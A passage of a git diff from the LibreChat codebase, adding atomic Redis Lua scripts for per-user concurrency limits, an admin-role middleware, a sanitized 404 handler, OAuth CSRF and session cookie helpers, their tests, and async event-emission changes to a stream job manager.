ConvertJsonSchemaToZodOptions = {}, @@ -474,8 +557,13 @@ export function convertJsonSchemaToZod( } /** - * Helper function for tests that automatically resolves refs before converting to Zod - * This ensures all tests use resolveJsonSchemaRefs even when not explicitly testing it + * Helper function that resolves refs before converting to Zod. + * + * @deprecated This function is deprecated in favor of using JSON schemas directly. + * LangChain.js now supports JSON schemas natively, eliminating the need for Zod conversion. + * Use `resolveJsonSchemaRefs` to handle $ref references and pass the JSON schema directly to tools. + * + * @see https://js.langchain.com/docs/how_to/custom_tools/ */ export function convertWithResolvedRefs( schema: JsonSchemaType & Record, diff --git a/packages/api/src/middleware/__tests__/concurrency.cache_integration.spec.ts b/packages/api/src/middleware/__tests__/concurrency.cache_integration.spec.ts new file mode 100644 index 0000000000..4c29fdad55 --- /dev/null +++ b/packages/api/src/middleware/__tests__/concurrency.cache_integration.spec.ts @@ -0,0 +1,258 @@ +import type { Redis, Cluster } from 'ioredis'; + +/** + * Integration tests for concurrency middleware atomic Lua scripts. + * + * Tests that the Lua-based check-and-increment / decrement operations + * are truly atomic and eliminate the INCR+check+DECR race window. + * + * Run with: USE_REDIS=true npx jest --config packages/api/jest.config.js concurrency.cache_integration + */ +describe('Concurrency Middleware Integration Tests', () => { + let originalEnv: NodeJS.ProcessEnv; + let ioredisClient: Redis | Cluster | null = null; + let checkAndIncrementPendingRequest: ( + userId: string, + ) => Promise<{ allowed: boolean; pendingRequests: number; limit: number }>; + let decrementPendingRequest: (userId: string) => Promise; + const testPrefix = 'Concurrency-Integration-Test'; + + beforeAll(async () => { + originalEnv = { ...process.env }; + + process.env.USE_REDIS = process.env.USE_REDIS ?? 'true'; + process.env.USE_REDIS_CLUSTER = process.env.USE_REDIS_CLUSTER ?? 'false'; + process.env.REDIS_URI = process.env.REDIS_URI ?? 'redis://127.0.0.1:6379'; + process.env.REDIS_KEY_PREFIX = testPrefix; + process.env.REDIS_PING_INTERVAL = '0'; + process.env.REDIS_RETRY_MAX_ATTEMPTS = '5'; + process.env.LIMIT_CONCURRENT_MESSAGES = 'true'; + process.env.CONCURRENT_MESSAGE_MAX = '2'; + + jest.resetModules(); + + const { ioredisClient: client } = await import('../../cache/redisClients'); + ioredisClient = client; + + if (!ioredisClient) { + console.warn('Redis not available, skipping integration tests'); + return; + } + + // Import concurrency module after Redis client is available + const concurrency = await import('../concurrency'); + checkAndIncrementPendingRequest = concurrency.checkAndIncrementPendingRequest; + decrementPendingRequest = concurrency.decrementPendingRequest; + }); + + afterEach(async () => { + if (!ioredisClient) { + return; + } + + try { + const keys = await ioredisClient.keys(`${testPrefix}*`); + if (keys.length > 0) { + await Promise.all(keys.map((key) => ioredisClient!.del(key))); + } + } catch (error) { + console.warn('Error cleaning up test keys:', error); + } + }); + + afterAll(async () => { + if (ioredisClient) { + try { + await ioredisClient.quit(); + } catch { + try { + ioredisClient.disconnect(); + } catch { + // Ignore + } + } + } + process.env = originalEnv; + }); + + describe('Atomic Check and Increment', () => { + test('should allow requests within the concurrency limit', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-allow-${Date.now()}`; + + // First request - should be allowed (count = 1, limit = 2) + const result1 = await checkAndIncrementPendingRequest(userId); + expect(result1.allowed).toBe(true); + expect(result1.pendingRequests).toBe(1); + expect(result1.limit).toBe(2); + + // Second request - should be allowed (count = 2, limit = 2) + const result2 = await checkAndIncrementPendingRequest(userId); + expect(result2.allowed).toBe(true); + expect(result2.pendingRequests).toBe(2); + }); + + test('should reject requests over the concurrency limit', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-reject-${Date.now()}`; + + // Fill up to the limit + await checkAndIncrementPendingRequest(userId); + await checkAndIncrementPendingRequest(userId); + + // Third request - should be rejected (count would be 3, limit = 2) + const result = await checkAndIncrementPendingRequest(userId); + expect(result.allowed).toBe(false); + expect(result.pendingRequests).toBe(3); // Reports the count that was over-limit + }); + + test('should not leave stale counter after rejection (atomic rollback)', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-rollback-${Date.now()}`; + + // Fill up to the limit + await checkAndIncrementPendingRequest(userId); + await checkAndIncrementPendingRequest(userId); + + // Attempt over-limit (should be rejected and atomically rolled back) + const rejected = await checkAndIncrementPendingRequest(userId); + expect(rejected.allowed).toBe(false); + + // The key value should still be 2, not 3 — verify the Lua script decremented back + const key = `PENDING_REQ:${userId}`; + const rawValue = await ioredisClient.get(key); + expect(rawValue).toBe('2'); + }); + + test('should handle concurrent requests atomically (no over-admission)', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-concurrent-${Date.now()}`; + + // Fire 20 concurrent requests for the same user (limit = 2) + const results = await Promise.all( + Array.from({ length: 20 }, () => checkAndIncrementPendingRequest(userId)), + ); + + const allowed = results.filter((r) => r.allowed); + const rejected = results.filter((r) => !r.allowed); + + // Exactly 2 should be allowed (the concurrency limit) + expect(allowed.length).toBe(2); + expect(rejected.length).toBe(18); + + // The key value should be exactly 2 after all atomic operations + const key = `PENDING_REQ:${userId}`; + const rawValue = await ioredisClient.get(key); + expect(rawValue).toBe('2'); + + // Clean up + await decrementPendingRequest(userId); + await decrementPendingRequest(userId); + }); + }); + + describe('Atomic Decrement', () => { + test('should decrement pending requests', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-decrement-${Date.now()}`; + + await checkAndIncrementPendingRequest(userId); + await checkAndIncrementPendingRequest(userId); + + // Decrement once + await decrementPendingRequest(userId); + + const key = `PENDING_REQ:${userId}`; + const rawValue = await ioredisClient.get(key); + expect(rawValue).toBe('1'); + }); + + test('should clean up key when count reaches zero', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-cleanup-${Date.now()}`; + + await checkAndIncrementPendingRequest(userId); + await decrementPendingRequest(userId); + + // Key should be deleted (not left as "0") + const key = `PENDING_REQ:${userId}`; + const exists = await ioredisClient.exists(key); + expect(exists).toBe(0); + }); + + test('should clean up key on double-decrement (negative protection)', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-double-decr-${Date.now()}`; + + await checkAndIncrementPendingRequest(userId); + await decrementPendingRequest(userId); + await decrementPendingRequest(userId); // Double-decrement + + // Key should be deleted, not negative + const key = `PENDING_REQ:${userId}`; + const exists = await ioredisClient.exists(key); + expect(exists).toBe(0); + }); + + test('should allow new requests after decrement frees a slot', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-free-slot-${Date.now()}`; + + // Fill to limit + await checkAndIncrementPendingRequest(userId); + await checkAndIncrementPendingRequest(userId); + + // Verify at limit + const atLimit = await checkAndIncrementPendingRequest(userId); + expect(atLimit.allowed).toBe(false); + + // Free a slot + await decrementPendingRequest(userId); + + // Should now be allowed again + const allowed = await checkAndIncrementPendingRequest(userId); + expect(allowed.allowed).toBe(true); + expect(allowed.pendingRequests).toBe(2); + }); + }); + + describe('TTL Behavior', () => { + test('should set TTL on the concurrency key', async () => { + if (!ioredisClient) { + return; + } + + const userId = `user-ttl-${Date.now()}`; + await checkAndIncrementPendingRequest(userId); + + const key = `PENDING_REQ:${userId}`; + const ttl = await ioredisClient.ttl(key); + expect(ttl).toBeGreaterThan(0); + expect(ttl).toBeLessThanOrEqual(60); + }); + }); +}); diff --git a/packages/api/src/middleware/admin.spec.ts b/packages/api/src/middleware/admin.spec.ts new file mode 100644 index 0000000000..0074461cb4 --- /dev/null +++ b/packages/api/src/middleware/admin.spec.ts @@ -0,0 +1,140 @@ +import { logger } from '@librechat/data-schemas'; +import { SystemRoles } from 'librechat-data-provider'; +import { requireAdmin } from './admin'; +import type { Response } from 'express'; +import type { ServerRequest } from '~/types/http'; + +jest.mock('@librechat/data-schemas', () => ({ + ...jest.requireActual('@librechat/data-schemas'), + logger: { + warn: jest.fn(), + debug: jest.fn(), + }, +})); + +describe('requireAdmin middleware', () => { + let mockReq: Partial; + let mockRes: Partial; + let mockNext: jest.Mock; + let jsonMock: jest.Mock; + let statusMock: jest.Mock; + + beforeEach(() => { + jsonMock = jest.fn(); + statusMock = jest.fn().mockReturnValue({ json: jsonMock }); + + mockReq = {}; + mockRes = { + status: statusMock, + }; + mockNext = jest.fn(); + + (logger.warn as jest.Mock).mockClear(); + (logger.debug as jest.Mock).mockClear(); + }); + + describe('when no user is present', () => { + it('should return 401 with AUTHENTICATION_REQUIRED error', () => { + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(statusMock).toHaveBeenCalledWith(401); + expect(jsonMock).toHaveBeenCalledWith({ + error: 'Authentication required', + error_code: 'AUTHENTICATION_REQUIRED', + }); + expect(mockNext).not.toHaveBeenCalled(); + expect(logger.warn).toHaveBeenCalledWith('[requireAdmin] No user found in request'); + }); + + it('should return 401 when user is undefined', () => { + mockReq.user = undefined; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(statusMock).toHaveBeenCalledWith(401); + expect(jsonMock).toHaveBeenCalledWith({ + error: 'Authentication required', + error_code: 'AUTHENTICATION_REQUIRED', + }); + expect(mockNext).not.toHaveBeenCalled(); + }); + }); + + describe('when user does not have admin role', () => { + it('should return 403 when user has no role property', () => { + mockReq.user = { email: 'user@test.com' } as ServerRequest['user']; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(statusMock).toHaveBeenCalledWith(403); + expect(jsonMock).toHaveBeenCalledWith({ + error: 'Access denied: Admin privileges required', + error_code: 'ADMIN_REQUIRED', + }); + expect(mockNext).not.toHaveBeenCalled(); + expect(logger.debug).toHaveBeenCalledWith( + '[requireAdmin] Access denied for non-admin user: user@test.com', + ); + }); + + it('should return 403 when user has USER role', () => { + mockReq.user = { + email: 'user@test.com', + role: SystemRoles.USER, + } as ServerRequest['user']; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(statusMock).toHaveBeenCalledWith(403); + expect(jsonMock).toHaveBeenCalledWith({ + error: 'Access denied: Admin privileges required', + error_code: 'ADMIN_REQUIRED', + }); + expect(mockNext).not.toHaveBeenCalled(); + }); + + it('should return 403 when user has empty string role', () => { + mockReq.user = { + email: 'user@test.com', + role: '', + } as ServerRequest['user']; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(statusMock).toHaveBeenCalledWith(403); + expect(jsonMock).toHaveBeenCalledWith({ + error: 'Access denied: Admin privileges required', + error_code: 'ADMIN_REQUIRED', + }); + expect(mockNext).not.toHaveBeenCalled(); + }); + }); + + describe('when user has admin role', () => { + it('should call next() and not send response', () => { + mockReq.user = { + email: 'admin@test.com', + role: SystemRoles.ADMIN, + } as ServerRequest['user']; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(mockNext).toHaveBeenCalledTimes(1); + expect(mockNext).toHaveBeenCalledWith(); + expect(statusMock).not.toHaveBeenCalled(); + expect(jsonMock).not.toHaveBeenCalled(); + }); + + it('should not log any warnings or debug messages for admin users', () => { + mockReq.user = { + email: 'admin@test.com', + role: SystemRoles.ADMIN, + } as ServerRequest['user']; + + requireAdmin(mockReq as ServerRequest, mockRes as Response, mockNext); + + expect(logger.warn).not.toHaveBeenCalled(); + expect(logger.debug).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/packages/api/src/middleware/admin.ts b/packages/api/src/middleware/admin.ts new file mode 100644 index 0000000000..d770adfd85 --- /dev/null +++ b/packages/api/src/middleware/admin.ts @@ -0,0 +1,28 @@ +import { logger } from '@librechat/data-schemas'; +import { SystemRoles } from 'librechat-data-provider'; +import type { NextFunction, Response } from 'express'; +import type { ServerRequest } from '~/types/http'; + +/** + * Middleware to check if authenticated user has admin role. + * Should be used AFTER authentication middleware (requireJwtAuth, requireLocalAuth, etc.) + */ +export const requireAdmin = (req: ServerRequest, res: Response, next: NextFunction) => { + if (!req.user) { + logger.warn('[requireAdmin] No user found in request'); + return res.status(401).json({ + error: 'Authentication required', + error_code: 'AUTHENTICATION_REQUIRED', + }); + } + + if (!req.user.role || req.user.role !== SystemRoles.ADMIN) { + logger.debug(`[requireAdmin] Access denied for non-admin user: ${req.user.email}`); + return res.status(403).json({ + error: 'Access denied: Admin privileges required', + error_code: 'ADMIN_REQUIRED', + }); + } + + next(); +}; diff --git a/packages/api/src/middleware/concurrency.ts b/packages/api/src/middleware/concurrency.ts index 92ac8b7d46..22302e79d0 100644 --- a/packages/api/src/middleware/concurrency.ts +++ b/packages/api/src/middleware/concurrency.ts @@ -9,6 +9,40 @@ const LIMIT_CONCURRENT_MESSAGES = process.env.LIMIT_CONCURRENT_MESSAGES; const CONCURRENT_MESSAGE_MAX = math(process.env.CONCURRENT_MESSAGE_MAX, 2); const CONCURRENT_VIOLATION_SCORE = math(process.env.CONCURRENT_VIOLATION_SCORE, 1); +/** + * Lua script for atomic check-and-increment. + * Increments the key, sets TTL, and if over limit decrements back. + * Returns positive count if allowed, negative count if rejected. + * Single round-trip, fully atomic — eliminates the INCR/check/DECR race window. + */ +const CHECK_AND_INCREMENT_SCRIPT = ` +local key = KEYS[1] +local limit = tonumber(ARGV[1]) +local ttl = tonumber(ARGV[2]) +local current = redis.call('INCR', key) +redis.call('EXPIRE', key, ttl) +if current > limit then + redis.call('DECR', key) + return -current +end +return current +`; + +/** + * Lua script for atomic decrement-and-cleanup. + * Decrements the key and deletes it if the count reaches zero or below. + * Eliminates the DECR-then-DEL race window. + */ +const DECREMENT_SCRIPT = ` +local key = KEYS[1] +local current = redis.call('DECR', key) +if current <= 0 then + redis.call('DEL', key) + return 0 +end +return current +`; + /** Lazily initialized cache for pending requests (used only for in-memory fallback) */ let pendingReqCache: ReturnType | null = null; @@ -80,36 +114,28 @@ export async function checkAndIncrementPendingRequest( return { allowed: true, pendingRequests: 0, limit }; } - // Use atomic Redis INCR when available to prevent race conditions + // Use atomic Lua script when Redis is available to prevent race conditions. + // A single EVAL round-trip atomically increments, checks, and decrements if over-limit. if (USE_REDIS && ioredisClient) { const key = buildKey(userId); try { - // Pipeline ensures INCR and EXPIRE execute atomically in one round-trip - // This prevents edge cases where crash between operations leaves key without TTL - const pipeline = ioredisClient.pipeline(); - pipeline.incr(key); - pipeline.expire(key, 60); - const results = await pipeline.exec(); + const result = (await ioredisClient.eval( + CHECK_AND_INCREMENT_SCRIPT, + 1, + key, + limit, + 60, + )) as number; - if (!results || results[0][0]) { - throw new Error('Pipeline execution failed'); + if (result < 0) { + // Negative return means over-limit (absolute value is the count before decrement) + const count = -result; + logger.debug(`[concurrency] User ${userId} exceeded concurrent limit: ${count}/${limit}`); + return { allowed: false, pendingRequests: count, limit }; } - const newCount = results[0][1] as number; - - if (newCount > limit) { - // Over limit - decrement back and reject - await ioredisClient.decr(key); - logger.debug( - `[concurrency] User ${userId} exceeded concurrent limit: ${newCount}/${limit}`, - ); - return { allowed: false, pendingRequests: newCount, limit }; - } - - logger.debug( - `[concurrency] User ${userId} incremented pending requests: ${newCount}/${limit}`, - ); - return { allowed: true, pendingRequests: newCount, limit }; + logger.debug(`[concurrency] User ${userId} incremented pending requests: ${result}/${limit}`); + return { allowed: true, pendingRequests: result, limit }; } catch (error) { logger.error('[concurrency] Redis atomic increment failed:', error); // On Redis error, allow the request to proceed (fail-open) @@ -164,18 +190,12 @@ export async function decrementPendingRequest(userId: string): Promise { return; } - // Use atomic Redis DECR when available + // Use atomic Lua script to decrement and clean up zero/negative keys in one round-trip if (USE_REDIS && ioredisClient) { const key = buildKey(userId); try { - const newCount = await ioredisClient.decr(key); - if (newCount < 0) { - // Counter went negative - reset to 0 and delete - await ioredisClient.del(key); - logger.debug(`[concurrency] User ${userId} pending requests cleared (was negative)`); - } else if (newCount === 0) { - // Clean up zero-value keys - await ioredisClient.del(key); + const newCount = (await ioredisClient.eval(DECREMENT_SCRIPT, 1, key)) as number; + if (newCount === 0) { logger.debug(`[concurrency] User ${userId} pending requests cleared`); } else { logger.debug(`[concurrency] User ${userId} decremented pending requests: ${newCount}`); diff --git a/packages/api/src/middleware/index.ts b/packages/api/src/middleware/index.ts index 4398b35e14..1f0cbc16fb 100644 --- a/packages/api/src/middleware/index.ts +++ b/packages/api/src/middleware/index.ts @@ -1,5 +1,7 @@ export * from './access'; +export * from './admin'; export * from './error'; +export * from './notFound'; export * from './balance'; export * from './json'; export * from './concurrency'; diff --git a/packages/api/src/middleware/notFound.ts b/packages/api/src/middleware/notFound.ts new file mode 100644 index 0000000000..1eac18091f --- /dev/null +++ b/packages/api/src/middleware/notFound.ts @@ -0,0 +1,12 @@ +import { logger } from '@librechat/data-schemas'; +import type { Request, Response } from 'express'; + +/** Safe to reuse with .replace() at module scope - does not retain lastIndex state */ +// eslint-disable-next-line no-control-regex +const unsafeChars = /[\r\n\u0000]/g; + +export function apiNotFound(req: Request, res: Response): void { + const safePath = req.path.replace(unsafeChars, '_').slice(0, 200); + logger.debug(`[API 404] ${req.method} ${safePath}`); + res.status(404).json({ message: 'Endpoint not found' }); +} diff --git a/packages/api/src/oauth/csrf.spec.ts b/packages/api/src/oauth/csrf.spec.ts new file mode 100644 index 0000000000..b56f1fd38f --- /dev/null +++ b/packages/api/src/oauth/csrf.spec.ts @@ -0,0 +1,99 @@ +import { shouldUseSecureCookie } from './csrf'; + +describe('shouldUseSecureCookie', () => { + const originalEnv = process.env; + + beforeEach(() => { + process.env = { ...originalEnv }; + }); + + afterAll(() => { + process.env = originalEnv; + }); + + it('should return true in production with a non-localhost domain', () => { + process.env.NODE_ENV = 'production'; + process.env.DOMAIN_SERVER = 'https://myapp.example.com'; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should return false in development regardless of domain', () => { + process.env.NODE_ENV = 'development'; + process.env.DOMAIN_SERVER = 'https://myapp.example.com'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return false when NODE_ENV is not set', () => { + delete process.env.NODE_ENV; + process.env.DOMAIN_SERVER = 'https://myapp.example.com'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + describe('localhost detection in production', () => { + beforeEach(() => { + process.env.NODE_ENV = 'production'; + }); + + it('should return false for http://localhost:3080', () => { + process.env.DOMAIN_SERVER = 'http://localhost:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return false for https://localhost:3080', () => { + process.env.DOMAIN_SERVER = 'https://localhost:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return false for http://localhost (no port)', () => { + process.env.DOMAIN_SERVER = 'http://localhost'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return false for http://127.0.0.1:3080', () => { + process.env.DOMAIN_SERVER = 'http://127.0.0.1:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return true for http://[::1]:3080 (IPv6 loopback — not detected due to URL bracket parsing)', () => { + // Known limitation: new URL('http://[::1]:3080').hostname returns '[::1]' (with brackets) + // but the check compares against '::1' (without brackets). IPv6 localhost is rare in practice. + process.env.DOMAIN_SERVER = 'http://[::1]:3080'; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should return false for subdomain of localhost', () => { + process.env.DOMAIN_SERVER = 'http://app.localhost:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should return true for a domain containing "localhost" as a substring but not as hostname', () => { + process.env.DOMAIN_SERVER = 'https://notlocalhost.example.com'; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should return true for a regular production domain', () => { + process.env.DOMAIN_SERVER = 'https://chat.example.com'; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should return true when DOMAIN_SERVER is empty (conservative default)', () => { + process.env.DOMAIN_SERVER = ''; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should return true when DOMAIN_SERVER is not set (conservative default)', () => { + delete process.env.DOMAIN_SERVER; + expect(shouldUseSecureCookie()).toBe(true); + }); + + it('should handle DOMAIN_SERVER without protocol prefix', () => { + process.env.DOMAIN_SERVER = 'localhost:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + + it('should handle case-insensitive hostnames', () => { + process.env.DOMAIN_SERVER = 'http://LOCALHOST:3080'; + expect(shouldUseSecureCookie()).toBe(false); + }); + }); +}); diff --git a/packages/api/src/oauth/csrf.ts b/packages/api/src/oauth/csrf.ts new file mode 100644 index 0000000000..6ed63968d1 --- /dev/null +++ b/packages/api/src/oauth/csrf.ts @@ -0,0 +1,119 @@ +import crypto from 'crypto'; +import type { Request, Response, NextFunction } from 'express'; + +export const OAUTH_CSRF_COOKIE = 'oauth_csrf'; +export const OAUTH_CSRF_MAX_AGE = 10 * 60 * 1000; + +export const OAUTH_SESSION_COOKIE = 'oauth_session'; +export const OAUTH_SESSION_MAX_AGE = 24 * 60 * 60 * 1000; +export const OAUTH_SESSION_COOKIE_PATH = '/api'; + +/** + * Determines if secure cookies should be used. + * Returns `true` in production unless the server is running on localhost (HTTP). + * This allows cookies to work on `http://localhost` during local development + * even when `NODE_ENV=production` (common in Docker Compose setups). + */ +export function shouldUseSecureCookie(): boolean { + const isProduction = process.env.NODE_ENV === 'production'; + const domainServer = process.env.DOMAIN_SERVER || ''; + + let hostname = ''; + if (domainServer) { + try { + const normalized = /^https?:\/\//i.test(domainServer) + ? domainServer + : `http://${domainServer}`; + const url = new URL(normalized); + hostname = (url.hostname || '').toLowerCase(); + } catch { + hostname = domainServer.toLowerCase(); + } + } + + const isLocalhost = + hostname === 'localhost' || + hostname === '127.0.0.1' || + hostname === '::1' || + hostname.endsWith('.localhost'); + + return isProduction && !isLocalhost; +} + +/** Generates an HMAC-based token for OAuth CSRF protection */ +export function generateOAuthCsrfToken(flowId: string, secret?: string): string { + const key = secret || process.env.JWT_SECRET; + if (!key) { + throw new Error('JWT_SECRET is required for OAuth CSRF token generation'); + } + return crypto.createHmac('sha256', key).update(flowId).digest('hex').slice(0, 32); +} + +/** Sets a SameSite=Lax CSRF cookie bound to a specific OAuth flow */ +export function setOAuthCsrfCookie(res: Response, flowId: string, cookiePath: string): void { + res.cookie(OAUTH_CSRF_COOKIE, generateOAuthCsrfToken(flowId), { + httpOnly: true, + secure: shouldUseSecureCookie(), + sameSite: 'lax', + maxAge: OAUTH_CSRF_MAX_AGE, + path: cookiePath, + }); +} + +/** + * Validates the per-flow CSRF cookie against the expected HMAC. + * Uses timing-safe comparison and always clears the cookie to prevent replay. + */ +export function validateOAuthCsrf( + req: Request, + res: Response, + flowId: string, + cookiePath: string, +): boolean { + const cookie = (req.cookies as Record | undefined)?.[OAUTH_CSRF_COOKIE]; + res.clearCookie(OAUTH_CSRF_COOKIE, { path: cookiePath }); + if (!cookie) { + return false; + } + const expected = generateOAuthCsrfToken(flowId); + if (cookie.length !== expected.length) { + return false; + } + return crypto.timingSafeEqual(Buffer.from(cookie), Buffer.from(expected)); +} + +/** + * Express middleware that sets the OAuth session cookie after JWT authentication. + * Chain after requireJwtAuth on routes that precede an OAuth redirect (e.g., reinitialize, bind). + */ +export function setOAuthSession(req: Request, res: Response, next: NextFunction): void { + const user = (req as Request & { user?: { id?: string } }).user; + if (user?.id && !(req.cookies as Record | undefined)?.[OAUTH_SESSION_COOKIE]) { + setOAuthSessionCookie(res, user.id); + } + next(); +} + +/** Sets a SameSite=Lax session cookie that binds the browser to the authenticated userId */ +export function setOAuthSessionCookie(res: Response, userId: string): void { + res.cookie(OAUTH_SESSION_COOKIE, generateOAuthCsrfToken(userId), { + httpOnly: true, + secure: shouldUseSecureCookie(), + sameSite: 'lax', + maxAge: OAUTH_SESSION_MAX_AGE, + path: OAUTH_SESSION_COOKIE_PATH, + }); +} + +/** Validates the session cookie against the expected userId using timing-safe comparison */ +export function validateOAuthSession(req: Request, userId: string): boolean { + const cookie = (req.cookies as Record | undefined)?.[OAUTH_SESSION_COOKIE]; + if (!cookie) { + return false; + } + const expected = generateOAuthCsrfToken(userId); + if (cookie.length !== expected.length) { + return false; + } + return crypto.timingSafeEqual(Buffer.from(cookie), Buffer.from(expected)); +} diff --git a/packages/api/src/oauth/index.ts b/packages/api/src/oauth/index.ts index e56053c166..01be92b6e3 100644 --- a/packages/api/src/oauth/index.ts +++ b/packages/api/src/oauth/index.ts @@ -1 +1,2 @@ +export * from './csrf'; export * from './tokens'; diff --git a/packages/api/src/stream/GenerationJobManager.ts b/packages/api/src/stream/GenerationJobManager.ts index 26c2ef73a6..cd5ff04eb0 100644 --- a/packages/api/src/stream/GenerationJobManager.ts +++ b/packages/api/src/stream/GenerationJobManager.ts @@ -238,6 +238,7 @@ class GenerationJobManagerClass { const currentRuntime = this.runtimeState.get(streamId); if (currentRuntime) { currentRuntime.syncSent = false; + currentRuntime.hasSubscriber = false; // Persist syncSent=false to Redis for cross-replica consistency this.jobStore.updateJob(streamId, { syncSent: false }).catch((err) => { logger.error(`[GenerationJobManager] Failed to persist syncSent=false:`, err); @@ -435,6 +436,7 @@ class GenerationJobManagerClass { const currentRuntime = this.runtimeState.get(streamId); if (currentRuntime) { currentRuntime.syncSent = false; + currentRuntime.hasSubscriber = false; // Persist syncSent=false to Redis this.jobStore.updateJob(streamId, { syncSent: false }).catch((err) => { logger.error(`[GenerationJobManager] Failed to persist syncSent=false:`, err); @@ -660,7 +662,7 @@ class GenerationJobManagerClass { runtime.finalEvent = abortFinalEvent; } - this.eventTransport.emitDone(streamId, abortFinalEvent); + await this.eventTransport.emitDone(streamId, abortFinalEvent); this.jobStore.clearContentState(streamId); this.runStepBuffers?.delete(streamId); @@ -743,7 +745,6 @@ class GenerationJobManagerClass { const subscription = this.eventTransport.subscribe(streamId, { onChunk: (event) => { const e = event as t.ServerSentEvent; - // Filter out internal events if (!(e as Record)._internal) { onChunk(e); } @@ -752,14 +753,15 @@ class GenerationJobManagerClass { onError, }); - // Check if this is the first subscriber + if (subscription.ready) { + await subscription.ready; + } + const isFirst = this.eventTransport.isFirstSubscriber(streamId); - // First subscriber: replay buffered events and mark as connected if (!runtime.hasSubscriber) { runtime.hasSubscriber = true; - // Replay any events that were emitted before subscriber connected if (runtime.earlyEventBuffer.length > 0) { logger.debug( `[GenerationJobManager] Replaying ${runtime.earlyEventBuffer.length} buffered events for ${streamId}`, @@ -767,9 +769,10 @@ class GenerationJobManagerClass { for (const bufferedEvent of runtime.earlyEventBuffer) { onChunk(bufferedEvent); } - // Clear buffer after replay runtime.earlyEventBuffer = []; } + + this.eventTransport.syncReorderBuffer?.(streamId); } if (isFirst) { @@ -788,8 +791,11 @@ class GenerationJobManagerClass { * * If no subscriber has connected yet, buffers the event for replay when they do. * This ensures early events (like 'created') aren't lost due to race conditions. + * + * In Redis mode, awaits the publish to guarantee event ordering. + * This is critical for streaming deltas (tool args, message content) to arrive in order. */ - emitChunk(streamId: string, event: t.ServerSentEvent): void { + async emitChunk(streamId: string, event: t.ServerSentEvent): Promise { const runtime = this.runtimeState.get(streamId); if (!runtime || runtime.abortController.signal.aborted) { return; @@ -798,7 +804,7 @@ class GenerationJobManagerClass { // Track user message from created event this.trackUserMessage(streamId, event); - // For Redis mode, persist chunk for later reconstruction + // For Redis mode, persist chunk for later reconstruction (fire-and-forget for resumability) if (this._isRedis) { // The SSE event structure is { event: string, data: unknown, ... } // The aggregator expects { event: string, data: unknown } where data is the payload @@ -819,13 +825,14 @@ class GenerationJobManagerClass { } } - // Buffer early events if no subscriber yet (replay when first subscriber connects) if (!runtime.hasSubscriber) { runtime.earlyEventBuffer.push(event); - // Also emit to transport in case subscriber connects mid-flight + if (!this._isRedis) { + return; + } } - this.eventTransport.emitChunk(streamId, event); + await this.eventTransport.emitChunk(streamId, event); } /** @@ -1035,7 +1042,7 @@ class GenerationJobManagerClass { * Emit a done event. * Persists finalEvent to Redis for cross-replica access. */ - emitDone(streamId: string, event: t.ServerSentEvent): void { + async emitDone(streamId: string, event: t.ServerSentEvent): Promise { const runtime = this.runtimeState.get(streamId); if (runtime) { runtime.finalEvent = event; @@ -1044,7 +1051,7 @@ class GenerationJobManagerClass { this.jobStore.updateJob(streamId, { finalEvent: JSON.stringify(event) }).catch((err) => { logger.error(`[GenerationJobManager] Failed to persist finalEvent:`, err); }); - this.eventTransport.emitDone(streamId, event); + await this.eventTransport.emitDone(streamId, event); } /** @@ -1052,7 +1059,7 @@ class GenerationJobManagerClass { * Stores the error for late-connecting subscribers (race condition where error * occurs before client connects to SSE stream). */ - emitError(streamId: string, error: string): void { + async emitError(streamId: string, error: string): Promise { const runtime = this.runtimeState.get(streamId); if (runtime) { runtime.errorEvent = error; @@ -1061,7 +1068,7 @@ class GenerationJobManagerClass { this.jobStore.updateJob(streamId, { error }).catch((err) => { logger.error(`[GenerationJobManager] Failed to persist error:`, err); }); - this.eventTransport.emitError(streamId, error); + await this.eventTransport.emitError(streamId, error); } /** @@ -1135,6 +1142,19 @@ class GenerationJobManagerClass { return this.jobStore.getJobCount(); } + /** Returns sizes of internal runtime maps for diagnostics */ + getRuntimeStats(): { + runtimeStateSize: number; + runStepBufferSize: number; + eventTransportStreams: number; + } { + return { + runtimeStateSize: this.runtimeState.size, + runStepBufferSize: this.runStepBuffers?.size ?? 0, + eventTransportStreams: this.eventTransport.getTrackedStreamIds().length, + }; + } + /** * Get job count by status. */ diff --git a/packages/api/src/stream/__tests__/GenerationJobManager.stream_integration.spec.ts b/packages/api/src/stream/__tests__/GenerationJobManager.stream_integration.spec.ts index e3ea16c8f0..59fe32e4e5 100644 --- a/packages/api/src/stream/__tests__/GenerationJobManager.stream_integration.spec.ts +++ b/packages/api/src/stream/__tests__/GenerationJobManager.stream_integration.spec.ts @@ -1,4 +1,17 @@ import type { Redis, Cluster } from 'ioredis'; +import type { ServerSentEvent } from '~/types/events'; +import { InMemoryEventTransport } from '~/stream/implementations/InMemoryEventTransport'; +import { RedisEventTransport } from '~/stream/implementations/RedisEventTransport'; +import { InMemoryJobStore } from '~/stream/implementations/InMemoryJobStore'; +import { GenerationJobManagerClass } from '~/stream/GenerationJobManager'; +import { RedisJobStore } from 